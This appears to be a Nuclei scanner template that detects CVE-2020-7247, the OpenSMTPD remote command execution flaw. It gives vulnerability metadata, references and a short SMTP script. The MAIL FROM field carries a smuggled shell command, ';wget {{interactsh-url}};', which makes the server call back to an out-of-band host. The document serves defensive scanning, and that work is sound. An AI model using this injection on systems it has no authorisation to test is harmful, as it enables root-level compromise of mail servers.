63 lines
2.6 KiB
YAML
63 lines
2.6 KiB
YAML
id: CVE-2020-7247
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info:
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name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution
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author: princechaddha
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severity: critical
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description: |
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OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
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impact: |
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Successful exploitation of this vulnerability allows an attacker to execute arbitrary code with the privileges of the OpenSMTPD process, potentially leading to a complete compromise of the affected system.
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remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6
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reference:
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- https://www.openwall.com/lists/oss-security/2020/01/28/3
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- https://nvd.nist.gov/vuln/detail/CVE-2020-7247
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- https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45
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- http://www.openwall.com/lists/oss-security/2020/01/28/3
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- http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-7247
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cwe-id: CWE-755
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epss-score: 0.97504
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epss-percentile: 0.9998
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cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: openbsd
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product: opensmtpd
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tags: packetstorm,cve,cve2020,js,smtp,opensmtpd,network,rce,oast,kev,openbsd
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javascript:
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- pre-condition: |
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isPortOpen(Host,Port);
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code: |
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const smtp = require('nuclei/smtp');
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const client = new smtp.Client(Host,Port);
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const message = new smtp.SMTPMessage();
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message.From(From);
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message.To(To);
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message.Body(Msg);
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Export(client.SendMail(message));
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args:
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Host: "{{Host}}"
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Port: "8825"
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From: ";wget {{interactsh-url}};"
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To: "root"
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Msg: "Contact your security team if you do not expect this message"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: dsl
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dsl:
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- success == true
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# - response == true
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condition: and
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# digest: 4a0a00473045022047f218b487b497e0dc916e79030fbbe3b552550fc3147ede62cb75ee59bc9b3c022100d66c5aba9423fa9bc275699ef6ded125804fa32889a15038d0196d16806f270b:922c64590222798bb761d5b6d8e72950 |